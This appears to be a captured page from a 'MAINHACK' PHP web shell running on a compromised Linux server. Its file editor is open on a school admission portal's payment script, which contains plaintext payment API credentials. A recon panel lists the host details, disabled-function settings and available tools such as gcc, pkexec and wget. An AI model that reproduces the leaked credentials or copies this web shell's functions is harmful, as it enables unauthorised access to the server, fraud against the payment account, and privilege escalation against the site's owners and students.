[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: hubtel.php
<?php $indexNo = isset($_GET['myindex']) ? $_GET['myindex'] : null; $schoolCode = isset($_GET['myschoolcode']) ? $_GET['myschoolcode'] : null; $apiUsername = "73Q92DA"; $apiPassword = "609d0983e9344f74ac4c3a660dbda0e2"; $merchantAccountNumber = "2031762"; $callbackUrl = "https://m.shsadmissionportal.com/student/hubtel_callback"; $uniqueNumber = substr(str_replace('.', '', uniqid('', true)), -6); $payload = [ "totalAmount" => 30, "description" => "Payment for student $indexNo ($schoolCode)", "callbackUrl" => $callbackUrl, "returnUrl" => "https://m.shsadmissionportal.com/student/hubtelsuccess?indexNo=" . urlencode($indexNo) . "&schoolCode=" . urlencode($schoolCode), "merchantAccountNumber" => $merchantAccountNumber, "clientReference" => "REF_" . $indexNo . "_" . $schoolCode . "_" . $uniqueNumber, "cancellationUrl" => "https://m.shsadmissionportal.com/student/" ]; $curl = curl_init(); curl_setopt_array($curl, [ CURLOPT_URL => "https://payproxyapi.hubtel.com/items/initiate", CURLOPT_RETURNTRANSFER => true, CURLOPT_CUSTOMREQUEST => "POST", CURLOPT_HTTPHEADER => [ "Authorization: Basic " . base64_encode("$apiUsername:$apiPassword"), "Content-Type: application/json" ], CURLOPT_POSTFIELDS => json_encode($payload), ]); $response = curl_exec($curl); $err = curl_error($curl); curl_close($curl); if ($err) { echo "cURL Error: " . $err; } else { $result = json_decode($response, true); if (isset($result["data"]["checkoutUrl"])) { header("Location: " . $result["data"]["checkoutUrl"]); exit; } else { header("location: Paymentdown"); echo "Response: " . $response; } } ?>
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.81 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002